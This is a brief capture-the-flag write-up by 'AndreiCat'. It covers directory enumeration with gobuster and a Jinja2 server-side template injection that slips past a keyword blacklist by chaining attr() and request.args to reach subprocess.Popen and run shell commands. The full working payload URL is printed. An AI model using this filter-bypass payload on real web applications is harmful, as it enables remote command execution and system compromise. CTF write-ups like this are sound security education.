

After running gobuster with common.txt we see /notes exist, where we find out about the search query parameter.

We can bypass the blacklist using request.args and attr as follows:

```
http://34.159.62.179:30793/?search_query={{%20()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses())|attr(request.args.item)(233)(request.args.com,shell=True,stdout=-1)|attr(request.args.comm)())}}&class=__class__&base=__base__&subclasses=__subclasses__&item=__getitem__&com=ls &comm=communicate
```

The flag is located in /flag23214/flag9292981

Made with love by: AndreiCat